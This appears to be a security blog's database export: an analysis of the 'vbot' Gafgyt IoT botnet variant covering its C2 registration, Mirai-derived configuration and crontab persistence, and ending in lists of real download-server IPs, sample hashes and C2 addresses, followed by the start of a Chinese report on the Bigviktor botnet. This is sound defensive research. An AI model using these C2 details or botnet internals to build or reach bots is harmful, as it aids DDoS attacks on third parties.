<p>All samples share the same C2 <code>185.225.19.200:2017</code>. Since in Gafgyt it’s common that the same source code will be compiled into binaries for different processor architectures, for simplicity, the following analysis is based on the unstripped ARM sample of <code>f696375452d08eecbde14d64c74acdde</code>. Compared with previous variants, vbot1 has a more concise main() function because most of its code was moved into 2 new functions named init_vbot() and main_c2_handler().<br>
<img src="__GHOST_URL__/content/images/2020/07/fig3.png" alt="fig3" loading="lazy"><br>
The function name init_vbot indicates that the author code named their botnet as vbot. It's responsible for initializing things including watchdog, configurations, and scanner. C2 communications are done in main_c2_handler(), where a loop of connection, registration and receiving command can be found, as shown below.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig4.png" alt="fig4" loading="lazy"></p>
<p>The characteristic register message template <code>“ver:%f:%s:%d”</code> is used in the registration block that tightly follows the connection block. From the unstripped symbols we can show that the 3 specifiers separately represent version, bot type and arch. The analyzed sample has version of 4.1.<br>
Actually it’s just the rarely seen specifier <code>“%f”</code> that caused my attention to this variant because as far as I knew “%f” was not supported by Gafgyt. The original authors borrowed the design of C library functions <code>printf</code> and <code>sprintf</code>, and implemented a new function named <code>sockprintf</code> which can generate message according to the assigned string format and send it to the C2. A custom yet simple format controls is done inside sockprintf with “%f” not implemented. That function has been kept by most Gafgyt variants. When firstly encountering vbot’s register template, I imagined a new version of sockprintf. However, that’s obviously not true. To reuse sockprintf but avoid complex programming, vbot author turned to sprintf to generate the expected message then passed it to sockprintf with the supported specifier <code>“%s”</code>.<br>
Similar to many Gafgyt variants, Mirai code can be found in vbot1. Due to its tight connection with the encrypted configurations, the borrowed code can be well analyzed with the extracted configurations. If you don’t know how to extract, please go to our VB2018 <a href="https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Liu-Wang.pdf">paper</a>. The extracted configurations are shown below, with items annotated with its owner modules.<br>
<img src="__GHOST_URL__/content/images/2020/07/fig5.png" alt="fig5" loading="lazy"><br>
The commands are hidden in configurations. Except for attacking methods, vbot1 also supports remote update with the command <code>UPDATE</code>. Another worth mentioning feature is persistence mechanism, which is done by modifying crontab.</p>
<p>It’s strange that vbot1 was spread only once. After its campaign was firstly detected, 35 hours, or 1.5 days, later the first vbot2 campaign was seen from the same download server. Obviously the operators wanted to replace vbot1 with vbot2. The reason might be its buggy registration which always sends a 191-byte register message back to its C2 but only 18 bytes there are really useful, as shown by the following figure.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig2.png" alt="fig2" loading="lazy"></p>
<h2 id="vbot2">vbot2</h2>
<p>In total 30 vbot2 campaigns were seen from April 16 to June 12, 2020, with 546 samples captured from 12 download servers. From those samples 13 C2 servers were checked. Detailed analysis shows except the registration code, vbot2 actually differs a lot from vbot1 in terms of code structure, attacking methods and Mirai configuration. The following analysis is based on the x86 sample <code>f5b0ebebc924e69e34a4ddd145916594</code>. It’s stripped but key function names have been manually restored.<br>
Different from vbot1 but similar to many other variants, vbot2's C2 communications are done in main(), as shown below.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig6.png" alt="fig6" loading="lazy"></p>
<p>Nearly the same registration block as vbot1 can be found, with the 3 specifiers holding the same semantics. The analyzed sample has version of 1.5. The loop composed of “loc_804B80B -> REGISTRATION -> loc_804B863” is very similar to previous Gafgyt variants in terms of CFG node number and semantics. The blocks are separately responsible for establishing connection, registration, and receiving commands.<br>
5 attacking methods were checked. All of them have been seen in other variants.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig7.png" alt="fig7" loading="lazy"></p>
<p>Some vbot2 samples, e.g., <code>e36d96a74236038a348cfd667ca83528</code>, have slightly different attacking method names, as shown below.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig8.png" alt="fig8" loading="lazy"></p>
<p>2 Mirai configurations were found. The only difference lies in the 0x28 item, as shown by the following 2 figures.</p>
<p><img src="__GHOST_URL__/content/images/2020/07/fig9-1.png" alt="fig9-1" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2020/07/fig10.png" alt="fig10" loading="lazy"></p>
<p>From the annotations we can see the Mirai code was mainly used in modules of watchdog, killer, scanner and rand alpha string generation. Since the 0x28 item corresponds to a message to be written to the STDOUT, and the second unprintable 0x28 item is probably caused by a typo from the author.<br>
With the extracted configurations the differences from vbot1 are obvious. They are:</p>
<ol>
<li>vbot2 has different attacking methods from vbot1.</li>
<li>While vbot1 hides commands in its configuration, vbot2 directly uses them.</li>
<li>No remote update and persistence mechanism were found in vbot2.</li>
</ol>
<p>Although those great differences suggest that vbot1 and vbot2 were actually derived from different code bases, I still think they were written by the same author(s) because:</p>
<ol>
<li>The shared register message template and registration implementation are unique enough.</li>
<li>The first vbot2 campaign shared the same download and C2 server as vbot1 within a relatively short period of time (1.5 days).</li>
</ol>
<h2 id="vbotandtherhombusmalware">vbot and the RHOMBUS malware</h2>
<p>While the filename RHOMBUS was seen 4 times in vbot campaigns, its use in Gafgyt campaigns was much earlier<a href="https://twitter.com/_odisseus/status/1232957932121313281">[1]</a>, with the variant called RHOMBUS analysed in <a href="https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdropper/">[2]</a><a href="https://blog.apnic.net/2020/05/22/rhombus-a-new-iot-malware/">[3]</a>. Here I make a simple comparison. In the blogged RHOMBUS malware dropper mechanism was found, with the dropper having the persistence ability across restart by modifying crontab. The dropped binaries, e.g., <code>269029c1554b13c3eccfaacf0196ff72</code> and <code>ba42665872ea41e3d2edd8978bc38c24</code>, actually belong to another Gafgyt variant that also heavily borrowed code from Mirai, as shown by the below figure.<br>
<img src="__GHOST_URL__/content/images/2020/07/fig11.png" alt="fig11" loading="lazy"><br>
From the above configuration we can see that obvious similarities exist between the RHOMBUS dropped binaries and vbot1. I think the most possibility is that vbot1 evolved from RHOMBUS malware with the following modifications:</p>
<ol>
<li>The dropper’s persistence mechanism was grafted to its payload. That’s why persistence items could be found in vbot1 configuration but not in the above figure.</li>
<li>The register template was updated.</li>
<li>c2 communications were moved to the so called main_c2_handler() function.</li>
</ol>
<p>Other key points about RHOMBUS malware include:</p>
<ol>
<li>The register message template is "jm:_:%d" or jm:%s:%d.</li>
<li>Similar to many Gafgyt variants, C2 communications were done in main().</li>
<li>The Gafgyt characteristic function initConnection() was removed with its code broken down into snippets that can be found in main().</li>
</ol>
<h2 id="conclusion">Conclusion</h2>
<p>I have introduced a short lived Gafgyt variant vbot. During its 2 month life, 31 campaigns were seen to build 19 botnets. From vbot we can learn that it’s easy for Linux IoT botnet authors to quickly write new variants, which might be due to the fact that dozens of Gafgyt and Mirai source has been leaked online. Once a new variant is written, the behind operators usually will spread it over and over with different campaigns to build multiple botnets. Such patterns have also been observed in other variants and families, e.g., Mirai. To fight such sort of fast emerging while short living botnets, automatic IoC extraction would play an import role for quick blocking or tracking. In VB2020 conference to be held in October, I will give a <a href="https://www.virusbulletin.com/conference/vb2020/abstracts/lightweight-emulation-based-ioc-extraction-gafgyt-botnets">talk</a> on that topic. I hope it will help you fight against Gafgyt botnets better.</p>
<h2 id="ioc">IoC</h2>
<h3 id="downloadservers">download servers</h3>
<pre><code>104.244.75.12
142.11.194.209
185.172.110.248
185.172.110.249
185.225.19.200
192.119.66.66
192.129.188.98
205.185.123.101
23.254.164.76
45.84.196.148
50.115.173.131
85.92.108.211
</code></pre>
<h3 id="vbot1md5">vbot1 MD5</h3>
<pre><code>2a141cd2930536f74f51fb57adbb0236
8717baf17660d8e96813ccd99f32c0be
cc559b487e1ec18727f37006bd3395e0
f666c3398601cd1b017f8d4556cabbbc
6fb6aaa253c165636ee63a4fdcdb1b9e
f422707ac869240bfeea648b6f9b90ad
36997fd129a5ff09311da94c3814379c
790ae71c097662bf6efba92d2d633076
e420df68941cc7ce2d8dd4ba92fd360e
3e36440871a6e39ee87e6d7d1a42155a
ae50829a02e5265c590f2fff35e64c52
09ab7435c76df627a813fb75db15ce5d
43ee98318945a475b555045aed4f0e01
e4db8addb5123021e358576157e5e1c0
4147fb0fe442173558f86fe37728ecae
846d6ad9ea86e331f2e071eac6a269de
40b1bf1e415ae508f8a5b831c2f4e994
f696375452d08eecbde14d64c74acdde
98b07b087b98b8d679c9938b16ae4df3
aea960687f0e43b465198be7ffafcf82
3d596d37fe6536a2c759923d920f3e08
52c462f3b22646774219f91bfb44ae66
d2c273e758fd4ac2759ca1d63aafcf6c
bbee73ed05730ad95df7a77241207ea5
0f492673eb249fa1209512575040f62d
0e59d4a40bba390314ffa0713b18441c
</code></pre>
<h3 id="vbot1c2">vbot1 C2</h3>
<pre><code>185.225.19.200 -port 2017
</code></pre>
<h3 id="vbot2md5">vbot2 MD5</h3>
<pre><code>efabd7e734490b9ad12812982347f237
614581bba324c3550a18268a8cb9c221
86310b514c55d31db288a2bb2c1e6114
76d9c69036f1eaac8f7a90eba3a36bfc
e36d96a74236038a348cfd667ca83528
d45da804fd35cf502bf942ebfeb64064
90a633f30bdbb2b80642bb229d1605d1
c4391301645cc9df4da3657f4c88f7dc
8bef47e420d0cdf8d0ee69a5d1f5b74c
4c8cdcbaf16f39a461b0bf7052fe1ec3
d936a9226fbbe97993bbe604c8cd5458
125b99cc79808679a7461f1841fd80a5
3b7da3d39db6ec08373c1e4af79aff85
23f764f5f918746b9ffff952dd25cc21
6f24268273573fd5f07cacb00031f1a0
ecae928b4e4093489bd221986da39aba
d883d5a2bedf0c3a3da79358c06fa429
3e26626d4563f3199fde498d0ff9fe32
11c1d777b18ffc0f23d2435fdb4645dc
...
</code></pre>
<h3 id="vbot2c2">vbot2 C2</h3>
<pre><code>104.244.75.12_666
142.11.194.209_1337
142.11.194.209_17911
142.11.194.209_34
142.11.194.209_44
184.172.110.248_666
184.172.110.249_666
185.172.110.248_323
185.172.110.248_666
185.225.19.200_666
192.119.66.66_7331
192.129.188.98_323
205.185.123.101_666
23.254.164.76_107
23.254.164.76_33
23.254.164.76_89
45.84.196.148_1227
50.115.173.131_111
85.92.108.211_1447
</code></pre>
<!--kg-card-end: markdown--> | Overview
Gafgyt botnets have a long history of infecting Linux devices to launch DDoS attacks. While dozens of variants have been detected, new variants are constantly emerging with changes in terms of register message, exploits, and attacking methods. On the other hand, their new botnets are usually short lived, with most of the C2s watched keeping active for only a few days. In this blog, I will introduce such a sort of variant. The key findings are as follow:
1. This variant was active from mid-April to mid-June. In total 31 campaigns for this variant were detected, from which 572 samples were captured. They were spread to build 19 botnets.
2. This variant evolved through 2 versions. Both have a characteristic register message template “ver:%f:%s:%d” that includes a rarely seen format specifier “%f”.
3. Mirai code was heavily used in both versions, which makes it possible analyze them with the extracted Mirai configurations.
4. The same infrastructures, e.g., download servers, and filenames were observed being used in other families of botnet campaigns.
This variant was named as vbot because vbot is found being used in an unstripped sample by the author. Accordingly the 2 versions are named as vbot1 and vbot2 in this blog.
vbot1
Only 1 vbot1 campaign was seen, with 26 samples captured, as shown by the following honeypot records.
All samples share the same C2 185.225.19.200:2017. Since in Gafgyt it’s common that the same source code will be compiled into binaries for different processor architectures, for simplicity, the following analysis is based on the unstripped ARM sample of f696375452d08eecbde14d64c74acdde. Compared with previous variants, vbot1 has a more concise main() function because most of its code was moved into 2 new functions named init_vbot() and main_c2_handler().
The function name init_vbot indicates that the author code named their botnet as vbot. It's responsible for initializing things including watchdog, configurations, and scanner. C2 communications are done in main_c2_handler(), where a loop of connection, registration and receiving command can be found, as shown below.
The characteristic register message template “ver:%f:%s:%d” is used in the registration block that tightly follows the connection block. From the unstripped symbols we can show that the 3 specifiers separately represent version, bot type and arch. The analyzed sample has version of 4.1.
Actually it’s just the rarely seen specifier “%f” that caused my attention to this variant because as far as I knew “%f” was not supported by Gafgyt. The original authors borrowed the design of C library functions printf and sprintf, and implemented a new function named sockprintf which can generate message according to the assigned string format and send it to the C2. A custom yet simple format controls is done inside sockprintf with “%f” not implemented. That function has been kept by most Gafgyt variants. When firstly encountering vbot’s register template, I imagined a new version of sockprintf. However, that’s obviously not true. To reuse sockprintf but avoid complex programming, vbot author turned to sprintf to generate the expected message then passed it to sockprintf with the supported specifier “%s”.
Similar to many Gafgyt variants, Mirai code can be found in vbot1. Due to its tight connection with the encrypted configurations, the borrowed code can be well analyzed with the extracted configurations. If you don’t know how to extract, please go to our VB2018 paper. The extracted configurations are shown below, with items annotated with its owner modules.
The commands are hidden in configurations. Except for attacking methods, vbot1 also supports remote update with the command UPDATE. Another worth mentioning feature is persistence mechanism, which is done by modifying crontab.
It’s strange that vbot1 was spread only once. After its campaign was firstly detected, 35 hours, or 1.5 days, later the first vbot2 campaign was seen from the same download server. Obviously the operators wanted to replace vbot1 with vbot2. The reason might be its buggy registration which always sends a 191-byte register message back to its C2 but only 18 bytes there are really useful, as shown by the following figure.
vbot2
In total 30 vbot2 campaigns were seen from April 16 to June 12, 2020, with 546 samples captured from 12 download servers. From those samples 13 C2 servers were checked. Detailed analysis shows except the registration code, vbot2 actually differs a lot from vbot1 in terms of code structure, attacking methods and Mirai configuration. The following analysis is based on the x86 sample f5b0ebebc924e69e34a4ddd145916594. It’s stripped but key function names have been manually restored.
Different from vbot1 but similar to many other variants, vbot2's C2 communications are done in main(), as shown below.
Nearly the same registration block as vbot1 can be found, with the 3 specifiers holding the same semantics. The analyzed sample has version of 1.5. The loop composed of “loc_804B80B -> REGISTRATION -> loc_804B863” is very similar to previous Gafgyt variants in terms of CFG node number and semantics. The blocks are separately responsible for establishing connection, registration, and receiving commands.
5 attacking methods were checked. All of them have been seen in other variants.
Some vbot2 samples, e.g., e36d96a74236038a348cfd667ca83528, have slightly different attacking method names, as shown below.
2 Mirai configurations were found. The only difference lies in the 0x28 item, as shown by the following 2 figures.
From the annotations we can see the Mirai code was mainly used in modules of watchdog, killer, scanner and rand alpha string generation. Since the 0x28 item corresponds to a message to be written to the STDOUT, and the second unprintable 0x28 item is probably caused by a typo from the author.
With the extracted configurations the differences from vbot1 are obvious. They are:
1. vbot2 has different attacking methods from vbot1.
2. While vbot1 hides commands in its configuration, vbot2 directly uses them.
3. No remote update and persistence mechanism were found in vbot2.
Although those great differences suggest that vbot1 and vbot2 were actually derived from different code bases, I still think they were written by the same author(s) because:
1. The shared register message template and registration implementation are unique enough.
2. The first vbot2 campaign shared the same download and C2 server as vbot1 within a relatively short period of time (1.5 days).
vbot and the RHOMBUS malware
While the filename RHOMBUS was seen 4 times in vbot campaigns, its use in Gafgyt campaigns was much earlier[1], with the variant called RHOMBUS analysed in [2][3]. Here I make a simple comparison. In the blogged RHOMBUS malware dropper mechanism was found, with the dropper having the persistence ability across restart by modifying crontab. The dropped binaries, e.g., 269029c1554b13c3eccfaacf0196ff72 and ba42665872ea41e3d2edd8978bc38c24, actually belong to another Gafgyt variant that also heavily borrowed code from Mirai, as shown by the below figure.
From the above configuration we can see that obvious similarities exist between the RHOMBUS dropped binaries and vbot1. I think the most possibility is that vbot1 evolved from RHOMBUS malware with the following modifications:
1. The dropper’s persistence mechanism was grafted to its payload. That’s why persistence items could be found in vbot1 configuration but not in the above figure.
2. The register template was updated.
3. c2 communications were moved to the so called main_c2_handler() function.
Other key points about RHOMBUS malware include:
1. The register message template is "jm:_:%d" or jm:%s:%d.
2. Similar to many Gafgyt variants, C2 communications were done in main().
3. The Gafgyt characteristic function initConnection() was removed with its code broken down into snippets that can be found in main().
Conclusion
I have introduced a short lived Gafgyt variant vbot. During its 2 month life, 31 campaigns were seen to build 19 botnets. From vbot we can learn that it’s easy for Linux IoT botnet authors to quickly write new variants, which might be due to the fact that dozens of Gafgyt and Mirai source has been leaked online. Once a new variant is written, the behind operators usually will spread it over and over with different campaigns to build multiple botnets. Such patterns have also been observed in other variants and families, e.g., Mirai. To fight such sort of fast emerging while short living botnets, automatic IoC extraction would play an import role for quick blocking or tracking. In VB2020 conference to be held in October, I will give a talk on that topic. I hope it will help you fight against Gafgyt botnets better.
IoC
download servers
104.244.75.12
142.11.194.209
185.172.110.248
185.172.110.249
185.225.19.200
192.119.66.66
192.129.188.98
205.185.123.101
23.254.164.76
45.84.196.148
50.115.173.131
85.92.108.211
vbot1 MD5
2a141cd2930536f74f51fb57adbb0236
8717baf17660d8e96813ccd99f32c0be
cc559b487e1ec18727f37006bd3395e0
f666c3398601cd1b017f8d4556cabbbc
6fb6aaa253c165636ee63a4fdcdb1b9e
f422707ac869240bfeea648b6f9b90ad
36997fd129a5ff09311da94c3814379c
790ae71c097662bf6efba92d2d633076
e420df68941cc7ce2d8dd4ba92fd360e
3e36440871a6e39ee87e6d7d1a42155a
ae50829a02e5265c590f2fff35e64c52
09ab7435c76df627a813fb75db15ce5d
43ee98318945a475b555045aed4f0e01
e4db8addb5123021e358576157e5e1c0
4147fb0fe442173558f86fe37728ecae
846d6ad9ea86e331f2e071eac6a269de
40b1bf1e415ae508f8a5b831c2f4e994
f696375452d08eecbde14d64c74acdde
98b07b087b98b8d679c9938b16ae4df3
aea960687f0e43b465198be7ffafcf82
3d596d37fe6536a2c759923d920f3e08
52c462f3b22646774219f91bfb44ae66
d2c273e758fd4ac2759ca1d63aafcf6c
bbee73ed05730ad95df7a77241207ea5
0f492673eb249fa1209512575040f62d
0e59d4a40bba390314ffa0713b18441c
vbot1 C2
185.225.19.200 -port 2017
vbot2 MD5
efabd7e734490b9ad12812982347f237
614581bba324c3550a18268a8cb9c221
86310b514c55d31db288a2bb2c1e6114
76d9c69036f1eaac8f7a90eba3a36bfc
e36d96a74236038a348cfd667ca83528
d45da804fd35cf502bf942ebfeb64064
90a633f30bdbb2b80642bb229d1605d1
c4391301645cc9df4da3657f4c88f7dc
8bef47e420d0cdf8d0ee69a5d1f5b74c
4c8cdcbaf16f39a461b0bf7052fe1ec3
d936a9226fbbe97993bbe604c8cd5458
125b99cc79808679a7461f1841fd80a5
3b7da3d39db6ec08373c1e4af79aff85
23f764f5f918746b9ffff952dd25cc21
6f24268273573fd5f07cacb00031f1a0
ecae928b4e4093489bd221986da39aba
d883d5a2bedf0c3a3da79358c06fa429
3e26626d4563f3199fde498d0ff9fe32
11c1d777b18ffc0f23d2435fdb4645dc
...
vbot2 C2
104.244.75.12_666
142.11.194.209_1337
142.11.194.209_17911
142.11.194.209_34
142.11.194.209_44
184.172.110.248_666
184.172.110.249_666
185.172.110.248_323
185.172.110.248_666
185.225.19.200_666
192.119.66.66_7331
192.129.188.98_323
205.185.123.101_666
23.254.164.76_107
23.254.164.76_33
23.254.164.76_89
45.84.196.148_1227
50.115.173.131_111
85.92.108.211_1447
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nGafgyt botnets have a long history of infecting Linux devices to launch DDoS attacks. While dozens of variants have been detected, new variants are constantly emerging with changes in terms of register message, exploits, and attacking methods. On the other hand, their new botnets are usually short lived, with most of the C2s watched keeping active for only a few days. In this blog, I will introduce such a sort of variant. The key findings are as follow:\n1. This variant was active from mid-April to mid-June. In total 31 campaigns for this variant were detected, from which 572 samples were captured. They were spread to build 19 botnets.\n2. This variant evolved through 2 versions. Both have a characteristic register message template “ver:%f:%s:%d” that includes a rarely seen format specifier “%f”. \n3. Mirai code was heavily used in both versions, which makes it possible analyze them with the extracted Mirai configurations.\n4. The same infrastructures, e.g., download servers, and filenames were observed being used in other families of botnet campaigns.\nThis variant was named as vbot because vbot is found being used in an unstripped sample by the author. Accordingly the 2 versions are named as vbot1 and vbot2 in this blog.\n## vbot1\nOnly 1 vbot1 campaign was seen, with 26 samples captured, as shown by the following honeypot records. \n\n\n\nAll samples share the same C2 `185.225.19.200:2017`. Since in Gafgyt it’s common that the same source code will be compiled into binaries for different processor architectures, for simplicity, the following analysis is based on the unstripped ARM sample of ```f696375452d08eecbde14d64c74acdde```. Compared with previous variants, vbot1 has a more concise main() function because most of its code was moved into 2 new functions named init_vbot() and main_c2_handler().\n\nThe function name init_vbot indicates that the author code named their botnet as vbot. It's responsible for initializing things including watchdog, configurations, and scanner. C2 communications are done in main_c2_handler(), where a loop of connection, registration and receiving command can be found, as shown below.\n\n\n\nThe characteristic register message template `“ver:%f:%s:%d”` is used in the registration block that tightly follows the connection block. From the unstripped symbols we can show that the 3 specifiers separately represent version, bot type and arch. The analyzed sample has version of 4.1.\nActually it’s just the rarely seen specifier `“%f”` that caused my attention to this variant because as far as I knew “%f” was not supported by Gafgyt. The original authors borrowed the design of C library functions `printf` and `sprintf`, and implemented a new function named `sockprintf` which can generate message according to the assigned string format and send it to the C2. A custom yet simple format controls is done inside sockprintf with “%f” not implemented. That function has been kept by most Gafgyt variants. When firstly encountering vbot’s register template, I imagined a new version of sockprintf. However, that’s obviously not true. To reuse sockprintf but avoid complex programming, vbot author turned to sprintf to generate the expected message then passed it to sockprintf with the supported specifier `“%s”`.\nSimilar to many Gafgyt variants, Mirai code can be found in vbot1. Due to its tight connection with the encrypted configurations, the borrowed code can be well analyzed with the extracted configurations. If you don’t know how to extract, please go to our VB2018 [paper](https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Liu-Wang.pdf). The extracted configurations are shown below, with items annotated with its owner modules. \n\nThe commands are hidden in configurations. Except for attacking methods, vbot1 also supports remote update with the command `UPDATE`. Another worth mentioning feature is persistence mechanism, which is done by modifying crontab.\n\nIt’s strange that vbot1 was spread only once. After its campaign was firstly detected, 35 hours, or 1.5 days, later the first vbot2 campaign was seen from the same download server. Obviously the operators wanted to replace vbot1 with vbot2. The reason might be its buggy registration which always sends a 191-byte register message back to its C2 but only 18 bytes there are really useful, as shown by the following figure. \n\n\n\n## vbot2\nIn total 30 vbot2 campaigns were seen from April 16 to June 12, 2020, with 546 samples captured from 12 download servers. From those samples 13 C2 servers were checked. Detailed analysis shows except the registration code, vbot2 actually differs a lot from vbot1 in terms of code structure, attacking methods and Mirai configuration. The following analysis is based on the x86 sample ```f5b0ebebc924e69e34a4ddd145916594```. It’s stripped but key function names have been manually restored.\nDifferent from vbot1 but similar to many other variants, vbot2's C2 communications are done in main(), as shown below. \n\n\n\nNearly the same registration block as vbot1 can be found, with the 3 specifiers holding the same semantics. The analyzed sample has version of 1.5. The loop composed of “loc_804B80B -> REGISTRATION -> loc_804B863” is very similar to previous Gafgyt variants in terms of CFG node number and semantics. The blocks are separately responsible for establishing connection, registration, and receiving commands. \n5 attacking methods were checked. All of them have been seen in other variants. \n\n\n\nSome vbot2 samples, e.g., ```e36d96a74236038a348cfd667ca83528```, have slightly different attacking method names, as shown below.\n\n\n\n2 Mirai configurations were found. The only difference lies in the 0x28 item, as shown by the following 2 figures.\n\n\n\n\nFrom the annotations we can see the Mirai code was mainly used in modules of watchdog, killer, scanner and rand alpha string generation. Since the 0x28 item corresponds to a message to be written to the STDOUT, and the second unprintable 0x28 item is probably caused by a typo from the author. \nWith the extracted configurations the differences from vbot1 are obvious. They are:\n1. vbot2 has different attacking methods from vbot1. \n2. While vbot1 hides commands in its configuration, vbot2 directly uses them.\n3. No remote update and persistence mechanism were found in vbot2.\n\nAlthough those great differences suggest that vbot1 and vbot2 were actually derived from different code bases, I still think they were written by the same author(s) because:\n1. The shared register message template and registration implementation are unique enough.\n2. The first vbot2 campaign shared the same download and C2 server as vbot1 within a relatively short period of time (1.5 days).\n\n## vbot and the RHOMBUS malware\nWhile the filename RHOMBUS was seen 4 times in vbot campaigns, its use in Gafgyt campaigns was much earlier[[1]]( https://twitter.com/_odisseus/status/1232957932121313281), with the variant called RHOMBUS analysed in [[2]](https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdropper/)[[3]](https://blog.apnic.net/2020/05/22/rhombus-a-new-iot-malware/). Here I make a simple comparison. In the blogged RHOMBUS malware dropper mechanism was found, with the dropper having the persistence ability across restart by modifying crontab. The dropped binaries, e.g., ```269029c1554b13c3eccfaacf0196ff72``` and ```ba42665872ea41e3d2edd8978bc38c24```, actually belong to another Gafgyt variant that also heavily borrowed code from Mirai, as shown by the below figure. \n\nFrom the above configuration we can see that obvious similarities exist between the RHOMBUS dropped binaries and vbot1. I think the most possibility is that vbot1 evolved from RHOMBUS malware with the following modifications:\n1. The dropper’s persistence mechanism was grafted to its payload. That’s why persistence items could be found in vbot1 configuration but not in the above figure.\n2. The register template was updated.\n3. c2 communications were moved to the so called main_c2_handler() function.\n\nOther key points about RHOMBUS malware include:\n1. The register message template is \"jm:_:%d\" or jm:%s:%d.\n2. Similar to many Gafgyt variants, C2 communications were done in main().\n3. The Gafgyt characteristic function initConnection() was removed with its code broken down into snippets that can be found in main().\n\n## Conclusion\nI have introduced a short lived Gafgyt variant vbot. During its 2 month life, 31 campaigns were seen to build 19 botnets. From vbot we can learn that it’s easy for Linux IoT botnet authors to quickly write new variants, which might be due to the fact that dozens of Gafgyt and Mirai source has been leaked online. Once a new variant is written, the behind operators usually will spread it over and over with different campaigns to build multiple botnets. Such patterns have also been observed in other variants and families, e.g., Mirai. To fight such sort of fast emerging while short living botnets, automatic IoC extraction would play an import role for quick blocking or tracking. In VB2020 conference to be held in October, I will give a [talk](https://www.virusbulletin.com/conference/vb2020/abstracts/lightweight-emulation-based-ioc-extraction-gafgyt-botnets) on that topic. I hope it will help you fight against Gafgyt botnets better.\n\n## IoC\n### download servers\n```\n104.244.75.12\n142.11.194.209\n185.172.110.248\n185.172.110.249\n185.225.19.200\n192.119.66.66\n192.129.188.98\n205.185.123.101\n23.254.164.76\n45.84.196.148\n50.115.173.131\n85.92.108.211\n```\n\n### vbot1 MD5 \n```\n2a141cd2930536f74f51fb57adbb0236\n8717baf17660d8e96813ccd99f32c0be\ncc559b487e1ec18727f37006bd3395e0\nf666c3398601cd1b017f8d4556cabbbc\n6fb6aaa253c165636ee63a4fdcdb1b9e\nf422707ac869240bfeea648b6f9b90ad\n36997fd129a5ff09311da94c3814379c\n790ae71c097662bf6efba92d2d633076\ne420df68941cc7ce2d8dd4ba92fd360e\n3e36440871a6e39ee87e6d7d1a42155a\nae50829a02e5265c590f2fff35e64c52\n09ab7435c76df627a813fb75db15ce5d\n43ee98318945a475b555045aed4f0e01\ne4db8addb5123021e358576157e5e1c0\n4147fb0fe442173558f86fe37728ecae\n846d6ad9ea86e331f2e071eac6a269de\n40b1bf1e415ae508f8a5b831c2f4e994\nf696375452d08eecbde14d64c74acdde\n98b07b087b98b8d679c9938b16ae4df3\naea960687f0e43b465198be7ffafcf82\n3d596d37fe6536a2c759923d920f3e08\n52c462f3b22646774219f91bfb44ae66\nd2c273e758fd4ac2759ca1d63aafcf6c\nbbee73ed05730ad95df7a77241207ea5\n0f492673eb249fa1209512575040f62d\n0e59d4a40bba390314ffa0713b18441c\n```\n\n### vbot1 C2\n```\n185.225.19.200 -port 2017\n```\n\n### vbot2 MD5\n```\nefabd7e734490b9ad12812982347f237\n614581bba324c3550a18268a8cb9c221\n86310b514c55d31db288a2bb2c1e6114\n76d9c69036f1eaac8f7a90eba3a36bfc\ne36d96a74236038a348cfd667ca83528\nd45da804fd35cf502bf942ebfeb64064\n90a633f30bdbb2b80642bb229d1605d1\nc4391301645cc9df4da3657f4c88f7dc\n8bef47e420d0cdf8d0ee69a5d1f5b74c\n4c8cdcbaf16f39a461b0bf7052fe1ec3\nd936a9226fbbe97993bbe604c8cd5458\n125b99cc79808679a7461f1841fd80a5\n3b7da3d39db6ec08373c1e4af79aff85\n23f764f5f918746b9ffff952dd25cc21\n6f24268273573fd5f07cacb00031f1a0\necae928b4e4093489bd221986da39aba\nd883d5a2bedf0c3a3da79358c06fa429\n3e26626d4563f3199fde498d0ff9fe32\n11c1d777b18ffc0f23d2435fdb4645dc\n...\n```\n\n### vbot2 C2\n```\n104.244.75.12_666\n142.11.194.209_1337\n142.11.194.209_17911\n142.11.194.209_34\n142.11.194.209_44\n184.172.110.248_666\n184.172.110.249_666\n185.172.110.248_323\n185.172.110.248_666\n185.225.19.200_666\n192.119.66.66_7331\n192.129.188.98_323\n205.185.123.101_666\n23.254.164.76_107\n23.254.164.76_33\n23.254.164.76_89\n45.84.196.148_1227\n50.115.173.131_111\n85.92.108.211_1447\n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5eff1de87646030007b27fb6 |
post | null | 2020-07-08T10:33:08.000Z | 63873b9a8b1c1e0007f52f78 | bigviktor-dga-botnet-cn | 0 | 2020-07-16T05:59:52.000Z | public | published | __GHOST_URL__/content/images/2020/07/Snip20200709_6-1.png | 2020-07-10T04:22:40.000Z | 千面人:Bigviktor 分析报告 | <!--kg-card-begin: markdown--><h2 id="">概览</h2>
<p>2020年6月17日，360Netlab未知威胁检测系统发现一个低检测率的可疑ELF文件(dd7c9d99d8f7b9975c29c803abdf1c33)，目前仅有一款杀毒引擎检测识别;同时流量检测系统将其产生的部分流量标注了疑似DGA，这引起了我们的注意。经过详细分析，我们确定这是一个通过<a href="https://nvd.nist.gov/vuln/detail/CVE-2020-8515">CVE-2020-8515</a>漏洞传播，针对DrayTek Vigor路由器设备，拥有DGA特性，主要功能为DDos攻击的新僵尸网络的Bot程序。因为传播过程中使用的"viktor"文件名(<code>/tmp/viktor</code>)以及样本中的<code>0xB16B00B5</code>(big boobs)字串，我们将其命名为Bigviktor。</p>
<p>从网络层面来看，Bigviktor遍历DGA每月产生的1000个随机域名，通过请求RC4加密&ECSDA256签名的<strong>s.jpeg</strong>来确认当前存活的有效C2，然后向C2请求<strong>image.jpeg</strong>,执行具体的任务；从功能层面来看，Bigviktor支持8种指令，可以分成2大功能</p>
<ul>
<li>DDoS攻击</li>
<li>自更新</li>
</ul>
<p>其整体网络结构如图所示，<br>
<a href="__GHOST_URL__/content/images/2020/07/bigviktor_brief.png"><img src="__GHOST_URL__/content/images/2020/07/bigviktor_brief.png" class="kg-image"/></a></p>
<h2 id="botnet">Botnet规模</h2>
<h4 id="bot">日活Bot</h4>
